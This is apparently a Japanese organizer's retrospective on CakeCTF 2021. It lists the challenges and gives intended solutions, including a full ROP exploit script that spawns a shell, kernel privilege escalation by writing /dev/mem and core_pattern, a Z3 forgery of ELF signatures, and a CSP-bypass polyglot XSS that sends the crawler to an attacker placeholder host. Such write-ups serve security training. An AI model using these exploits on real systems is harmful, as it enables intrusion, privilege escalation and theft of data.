いままでInterKosenCTFとしていたのが、チームinsecureからの高専生消滅*1により名前がCakeCTFに変わりました。 内容はあんまり変わっていませんが、今年は明示的に「中級者向け」としたつもりです。 が、なぜか初心者向けCTFとして認知されてしまった感があります。(もちろん初心者の参加も歓迎です。がっつり勉強してください。) 運営一同がんばって作問・インフラ管理しています。 3人で全部回してるので、多少サーバーが死んだりとかは目をつぶって欲しいな゛ぁ〜(ニャンちゅう)
今回参加したけど全然解けなかったよ〜という方は是非いろんな人のwriteupを読んで復習してください。 結局過去問を復習して解いてる人間が将来的に勝つと思っています。
チーム参加で結構解いたわ〜という方は、チーム解散して個人での参加をご検討ください。
今回作った中で作問チェックを通過して(ほんまか?)無事出題できた問題は以下の通りです。
ジャンル | 問題名 | 想定難易度 | 概要 |
---|---|---|---|
pwn | UAF4b | warmup | 猫でもわかるUAF |
pwn | JIT4b | easy | 猫にはわからないかもしれないJIT |
pwn | GOT it | medium | libcのGOT改竄 |
pwn | Not So Tiger | hard | C++のvariantにおけるType Confusion |
pwn | hwdbg | very hard | 物理メモリの書き換えによるLPE |
crypto | improvisation | easy | LFSRの状態復元 |
rev | rflag | medium | Rust製バイナリ, フラグ文字列を確定させる正規表現の構築 |
rev | ALDRYA | medium | Z3を使ってELFの署名偽装 |
web | MofuMofu Diary | warmup | 猫でもわかるLFI |
web | ziperatops | medium | glob、正規表現、ファイルシステム等の誤った使用による任意ファイルアップロード |
web | My Nyamber | medium | JavaScriptの正規表現の闇仕様 |
web | Travelog | hard | CSP回避, JPEG+JS polyglot |
cheat | Yoshi-Shogi | easy | サーバーとの通信を改変するチート |
cheat | Kingtaker | medium | ブラウザのメモリ内容を改竄するチート |
作問チェックも頑張って3人でやりました。 こんな感じでチェックできていないやつもちらほらあります。 例年よりチェックできていない問題が多いのは、作問チェック大臣のyoshikingが一時行方不明になって捜索届を出していたのも一因です。
やるだけUse-after-Free。
INT_MIN
は地獄。
libcのGOT overwrite。
もともとhard枠にはWindows Exploitを用意していたのですが、AWSのWindows Serverが地獄のような挙動をして問題設定ではexploitが困難になったのでボツにしました。 そして急遽速攻で作ったのがこの問題になります。即席にしては意外と評判が良かったです。
ベンガル猫、オシキャット、オセロット、サバンナ猫って見た目が似ている*2からtype confusion起こしそうだよね?という猫科好きpwnerなら誰もが考えるであろうテーマを問題にしました。
プログラムでは、C++ 11から導入されたvariant
というSTLコンテナを利用して各種猫のクラスを管理しています。
クラスのうちOcicatとOcelotだったかはname
をポインタでなくchar配列として管理していることにも注目です。
まずcin
によるスタックオーバーフローがあります。
しかしcanaryが有効でポインタっぽいデータもないので単純には悪用できません。
std::variant
の構造は単純で、基底となる型のunionの最後に1バイトの型情報が付加される形になっています。
Ocelotなどのコンストラクタでstrcpyを使っているため、std::variant
の型情報をBOFで書き換えられます。
これを使いOcelotをBengal CatにするType Confusionを起こせば、ageとnameのポインタが被るため任意アドレスreadが実現できます。
PIEが無効なのでlibcのアドレスをリークし、そこからさらにスタックのアドレス、スタックcanaryと順にリークしていけば最初のBOFでROPが可能です。
from ptrlib import * def new(type, age, name): sock.sendlineafter(">> ", "1") sock.sendlineafter(": ", str(type)) sock.sendlineafter(": ", str(age)) sock.sendlineafter(": ", name) def get(): sock.sendlineafter(">> ", "2") return sock.recvlineafter("Name: ") def set(age, name): sock.sendlineafter(">> ", "3") sock.sendlineafter(": ", str(age)) sock.sendlineafter(": ", name) elf = ELF("./distfiles/chall") libc = ELF("./distfiles/libc-2.31.so") HOST = os.getenv('HOST', 'localhost') PORT = os.getenv('PORT', '9004') sock = Socket(HOST, int(PORT)) new(2, 777, "tama") set(elf.symbol("stdout"), "A" * 0x20) libc_base = u64(get()) - libc.symbol('_IO_2_1_stdout_') logger.info("libc = " + hex(libc_base)) libc.set_base(libc_base) new(2, 777, "tama") set(libc.symbol("environ"), "A" * 0x20) addr_stack = u64(get()) logger.info("stack = " + hex(addr_stack)) new(2, 777, "tama") set(addr_stack - 0x120 + 1, "A" * 0x20) canary = u64(get()[:7]) << 8 logger.info("canary = " + hex(canary)) rop_ret = 0x00403a34 rop_pop_rdi = 0x00403a33 payload = b'B'*0x88 payload += p64(canary) payload += p64(0xdeadbeefcafebabe)*3 payload += p64(rop_ret) payload += p64(rop_pop_rdi) payload += p64(addr_stack - 0xe0) payload += p64(libc.symbol('system')) payload += b'/bin/sh\0' new(0, 777, payload) sock.sendlineafter(">> ", "0") sock.sendline("cat flag*") print(sock.recvuntil("}"))
KASLR, KPTI, SMAP, SMEPが有効なカーネル環境が配布されます。
問題文に書いてある通り、/bin/hwdbg
というrootでsetuidされたバイナリがあります。
ソースコードを読むと、このプログラムは/dev/mem
の任意のオフセットに対して任意のデータを書き込めるようになっています。
/dev/mem
はマシンの物理メモリを直接読み書きできるデバイスファイルです。
したがって、これは「物理メモリを書き換えてroot取れますか」という問題になっています。
物理メモリにはアドレスのランダム化という概念はないので今回の問題でKASLRは意味がありません。
また、これも当たり前ですが/dev/mem
はSMAPやKPTIに関わらずデータを読み書きできます。
/proc/iomem
というファイルには物理メモリのアドレスマップが記載されています。
このファイルを読むと、カーネル空間のデータが物理メモリのどこにマップされているかが分かります。
/ # cat /proc/iomem 00000000-00000fff : Reserved 00001000-0009fbff : System RAM 0009fc00-0009ffff : Reserved 000a0000-000bffff : PCI Bus 0000:00 000c0000-000c99ff : Video ROM 000ca000-000cadff : Adapter ROM 000cb000-000cb5ff : Adapter ROM 000f0000-000fffff : Reserved 000f0000-000fffff : System ROM 00100000-03fdffff : System RAM 02600000-03000c36 : Kernel code 03200000-033b3fff : Kernel rodata 03400000-034e137f : Kernel data 035de000-037fffff : Kernel bss 03fe0000-03ffffff : Reserved 04000000-febfffff : PCI Bus 0000:00 fd000000-fdffffff : 0000:00:02.0 fd000000-fdffffff : bochs-drm fe000000-fe003fff : 0000:00:03.0 fe000000-fe003fff : virtio-pci-modern feb00000-feb7ffff : 0000:00:03.0 feb90000-feb90fff : 0000:00:02.0 feb90000-feb90fff : bochs-drm feb91000-feb91fff : 0000:00:03.0 fec00000-fec003ff : IOAPIC 0 fed00000-fed003ff : HPET 0 fed00000-fed003ff : PNP0103:00 fee00000-fee00fff : Local APIC fffc0000-ffffffff : Reserved 100000000-17fffffff : PCI Bus 0000:00
例えばカーネル空間のコードは0x02600000から配置されていることが分かります。
/proc/kallsyms
から得た関数のオフセットなどを足せば、カーネルコードを任意の機械語で書き換えることができます。
また、0x03400000からのデータ領域にあるmodprobe_path
等の変数を書き換えても権限昇格できます。
想定解スクリプトではcore_pattern
を書き換えました。do_coredump
→format_corename
内でcall_usermodehelper
だったかにユーザーランドプログラムの呼び出しが依頼されるのですが、このときcore_pattern
という文字列を見て|
から始まる場合は続くファイル名のプログラムをroot権限で実行するようになっています。
hwdbg
自体のメモリ領域を書き換えてシェルコードを注入すれば(rootプロセスなので)これでも権限昇格できます。
同じことですが、こっちの方がカーネルの知識がいらないので簡単らしい。
フィボナッチLFSRの問題です。 諸事情によりcryptoの難易度を大幅に下げることになり、急遽easy問が必要になったので入れました。
assertされているフラグの先頭文字列から単純にLFSRの状態を復元すれば終わりです。
with open("distfiles/output.txt", "r") as f: c = int(f.read(), 16) c = int(bin(c)[2:][::-1], 2) cc = c << 1 prefix = int.from_bytes(b'CakeCTF{', 'little') seed = (cc & ((1<<64)-1)) ^ prefix lfsr = LFSR(seed) m = 0 while cc: m = (m << 1) | ((cc & 1) ^ next(lfsr)) cc >>= 1 print(int.to_bytes(int(bin(m)[2:][::-1], 2), 64, 'little').rstrip(b'\x00'))
Rust製プログラムのrevです。 といっても初心者でも解けるよう実質revは不要にしています。 strings等で見ると正規表現の存在が分かります。
16進数32文字の文字列に対して正規表現を与えると、マッチした箇所を返してくれます。 次のように分割統治法的な考え方で位置を特定できます。
rlist = [ "[0-7]", "[012389ab]", "[014589cd]", "[02468ace]" ] m = 16 for rnd in range(4): sock.sendlineafter(": ", rlist[rnd]) response = eval(sock.recvlineafter(": ")) for i in range(32): if guess[i][0] % m == 0: if i in response: guess[i] = (guess[i][0], guess[i][0] + m//2) else: guess[i] = (guess[i][0] + m//2, guess[i][0] + m) else: if i in response: guess[i] = (guess[i][1], guess[i][1] + m//2) else: guess[i] = (guess[i][1] + m//2, guess[i][1] + m) m //= 2 answer = '' for i in range(32): answer += f'{guess[i][0]:x}'
なんかELFの検証機構みたいなのを実装したバイナリです。 これカーネルで検証する問題にしようか迷ったのですが、1桁solveの未来が見えたのでやめました。
署名自体はなんかローテーションしなからxorする32-bitのハッシュ関数的なのを使っています。
ハッシュ関数のローテーションは1ビットずつで、1イテレーションにつき1バイト処理するので、理論上32バイトあればどんなハッシュ値も実現できます。 Z3などでこれを実装すれば、任意のELFファイルの署名を偽装できます。
ただし、0x100バイトずつ署名しているのである程度小さいELFを作り、破壊して良い場所を見つける必要があります。
from z3 import * import os import struct def ror32(v): if isinstance(v, int): return (v >> 1) | ((v & 1) << 31) else: return RotateRight(v, 1) def collide_chunk(chunk, ans): prefix = chunk[:-32] postfix = [BitVec(f'p{i}', 8) for i in range(32)] h = 0x20210828 for c in prefix: h = ror32(h ^ c) for c in postfix: h = ror32(h ^ ZeroExt(24, c)) s = Solver() s.add(h == ans) r = s.check() if r != sat: print(r) exit(1) m = s.model() for c in postfix: prefix += bytes([m[c].as_long()]) return prefix os.system("nasm exploit.S -o exploit.o -fELF64") os.system("ld exploit.o -o exploit") os.system("strip --strip-all exploit") with open("../distfiles/sample.aldrya", "rb") as f: n = struct.unpack("<I", f.read(4))[0] hlist = struct.unpack("<"+"I"*n, f.read(4*n)) output = b'' with open("exploit", "rb") as f: for i in range(n): chunk = f.read(0x100) if len(chunk) == 0: with open("../distfiles/sample.elf", "rb") as fs: fs.seek(i * 0x100) output += fs.read(0x100) else: chunk += b'\x00' * (0x100 - len(chunk)) output += collide_chunk(chunk, hlist[i]) with open("malicious", "wb") as f: f.write(output)
猫でもわかるLFI。
globにまつわる問題です。
JavaScriptを書いていたときに正規表現が思わぬ挙動をしたので問題にしました。
ブログサービスで、JPEGのアップロードも可能です。 HTMLが書けるのでXSSがありますが、CSPが有効でscriptは実行できません。
まずJPEGのアップロードですが、ファイルタイプのチェックにはpython標準のimghdrというモジュールを使っています。 実はこのモジュールはゴミで、”JFIF”があるかしか見ていません。そのためpolyglot書き放題となっています。
次に、ブログのページでは /show_utils.js
のようなスクリプトを読み込んでいます。
この前にブログ内容が入るのですが、base-uri
はself
になっているので、base directoryをアップロードディレクトリにすれば事前にアップロードしたshow_utils.js
が信頼できるscriptとしてロードされ、XSSになります。
import requests import re import base64 import json import os URL = 'http://{}:{}'.format(os.getenv("HOST", "localhost"), os.getenv("PORT", "8001")) def decode_base64(data): data = re.sub(r'[^-a-zA-Z0-9_]+', '', data) missing_padding = len(data) % 4 if missing_padding: data += '='* (4 - missing_padding) return base64.b64decode(data, '-_').decode() cred = {'username': 'niko7654321', 'password': 'bulb'} r = requests.post(f'{URL}/login', data=cred, allow_redirects=False) cookies = r.cookies user_id = json.loads(decode_base64(cookies['session'].split('.')[0]))['user_id'] print(f"[+] user_id = {user_id}") exploit = b'nyan/*JFIF*/=1;' exploit += b'''location.href="http://your-server.xxx/"''' files = {'images[]': ('show_utils.js', exploit, 'image/jpeg')} r = requests.post(f'{URL}/upload', files=files, cookies=cookies) payload = { 'title': 'exploit', 'contents': f'<base href="/uploads/{user_id}/XXX/YYY/">' } r = requests.post(f'{URL}/post', data=payload, cookies=cookies) print(re.findall("value=\"(http://.+)\" id=", r.text)[0])
これをクローラに踏ませると自分のサーバーにフラグが飛んできます。
UAにフラグを入れていたので<meta>
タグでリダイレクトさせると解けました。悲しいね。
そして修正後の問題もなんやかんや頑張るとmetaで解けるという。Webなんもわからん。
yoshikingと将棋が指せる夢のゲームです。
通常モードではyoshikingと普通の将棋が指せ、フラグモードではyoshiking側の歩兵すべてと飛車角が成った状態(サバンナ高橋ルール*3)からスタートします。 フラグモードで1回でも勝利するとフラグが貰えますが、yoshiking側のAIが若干バグってて王手無視とかが可能です。(それで勝てる訳ではない。)
チート問に対するアプローチは様々でしょうが、ここでは想定解を説明します。 Rust製ELFで、チート問ですのでバイナリの解析は不要で、stringsなどの使用を想定しています。
そもそも将棋のようなただでさえAIを作るのが困難で何手も先を読むのに、yoshiking AIはCPUをほとんど使いません。 この時点でAI本体は別のサーバーにあり、それと通信していることが推測できます。 実際にstringsコマンドなどで将棋アプリを調べると、「yoshi-shogi.cakectf.com」というドメインが出てきます。
[省略] valuesrc/main.rsonmlkjhgfedcbaONMLKJHGFEDCBApsrPSRhttp://yoshi-shogi.cakectf.com:15061/ponder?position=&hand=&move=wbestmovePromote?JSON Error => You win [省略]
そこでWiresharkなどを使ってパケットを観測すると、次のような通信をしていることが分かります。
ここで、
/ponder?position=lnsgkgsnl/1r5b1/ppppppppp/9/9/2P6/PP1PPPPPP/1B5R1/LNSGKGSNL&hand=-&move=w
というパラメータと
{"bestmove":"3c3d"}
というレスポンスがどのような意味を持つかが気になります。 「LNSGKGSNL」などのワードで調べると、これは「Universal Shogi Interface; USI」というプロトコルであることが分かります。 実際に負けるまで試すとUSI特有のresignとかwinとかが返ってくると思います。
USIプロトコルの仕様書を読むと、次のような記載があります。
bestmove
[ponder ] bestmove [resign | win]
The engine has stopped searching and found the move
best in this position. The engine can send the move it likes to ponder on. The engine must not start pondering automatically. this command must always be sent if the engine stops searching, also in pondering mode if there is a stop command, so for every go command a bestmove command is needed! ((Shogidogoro) except after the combination "go mate", where this must be a checkmate command instead.) Directly before that the engine should send a final info command with the final search information, the the GUI has the complete statistics about the last search.
そこで、/etc/hosts
などを使ってyoshi-shogi.cakectf.com
をローカルホストに向け、ローカルで次のようにresign
を必ず返すサーバーを建てます。
$ printf 'HTTP/1.1 200 OK\r\nContent-Length: 21\r\n\r\n{"bestmove":"resign"}' | nc -lnvp 15061
この状態でフラグモードで遊ぶと、yoshikingの負け判定になりすぐにフラグが出てきます。
yoshikingが王冠を集めるという、かつてないほど斬新なパズルゲームがブラウザで遊べます。
まずソースコードを見るとGameMaker:Studio製なのは自明なのですが、肝心のゲーム本体のJavaScriptは難読化されていて読めません*4。 そしてこのゲームを普通に遊ぶと、3ステージ目はたぶん歩数が足りなくて解けません。 そして4ステージ目はそもそも箱が邪魔で*5王冠に到達できないので解けません。
CheatEngine等を使ってブラウザそのもののメモリハックをすれば解けます。 ゲームを動かしているrenderer processにアタッチし、カウンタや座標を特定します。
次の条件のときはチート判定が出るので注意です。
これを回避して5ステージクリアすればフラグが貰えます。
今年は賞品を出すことにしました。 自腹切って出すつもりだったのですが、なんとたくさんの個人スポンサーが財政支援をしてくださり無事自腹切らずに済みそうです。 本当にありがとうございます。 スポンサーの方にも賞品はお送りいたします。
今回First-Blood Prizeというのを用意しました。 日本向けCTFでタイムゾーンが揃うので試験導入したのですが、結果としてあまりよくなかったと思います。 そもそもこのprizeは個人戦や非プロでも取れるprizeという目的で用意したのですが、結局ほとんどの賞品をプロチームが取る結果になりました。かなしいね。 まぁ上位チームが賞品を辞退する可能性もあるので、今回に関してどうなるかはなんとも言えません。
なんか良いアイデアがあれば募集しています。
あと賞品の内容ですが、1つは大量発注してすでに確定しています。 他は試作品みたいなのがある段階で確定ではないので、欲しいもの(ポロシャツ、ステッカーとか)があれば教えてください。
今年は序盤の激ヤバグやTravelogの非想定解などでバタついていましたが、良かった点もあります。 個人的に最も良かったのは運営中の微妙に暇な時間の潰し方です。 なんと今回はボードゲームを採用しました。(意味不明)
ホワイト企業なので、Discordを横目に運営でオンラインゲームをしていました。 次のようなゲームをしました。
指定したユーザーとついたて将棋をオンラインで遊べるサービスがあったら募集しています。
毎年Surveyをしていますが、なんとなくしている訳ではなくみんなの意見を参考にしています。 特に詳しく書いてくれている意見はかなり高い確率で次の年に採用されます。
まずqualityですが、まぁ最初サーバーを閉じたにしては良い感じだと思います。
次に難易度ですが、今まで「難しすぎる」に寄りがちだったのが若干緩和された感があります。 でも比較的難しい問題は必ず出します。みんなで全完みたいなCTFはうちでは開催しませんので、ご了承ください。 (たぶんそういうのはcpawみたいな常設で無限に遊べると思う。)
期間は36hで良さそう。
面白い問題は結構ばらつきが出ました。 非warmupではKingtakerとTravelogが人気です。Kingtakerは頑張って作った*7ので嬉C。
面白くない問題はtelepathyとimprovisationでしょうか。 いつも「もうちょっと典型を出しても良いのでは?」という声があったのでimprovisationを作ったのですが、やっぱり典型問は嫌いなんじゃないか。
今回、去年のアンケートを参考にした点としては
です。たぶん対応したり修正したりできていると思います。 一方、今回対応できなかったリクエストは以下の通りです。ごめんね。
こんな感じで運営一同アンケートは参考にしており、長文回答をお待ちしています。
おまけ。
これすごい。
https://t.co/XbfFZ5lV3u pic.twitter.com/4oZke6GsEK
— so🏝🦊 (@3socha) 2021年8月29日
New challenge is released!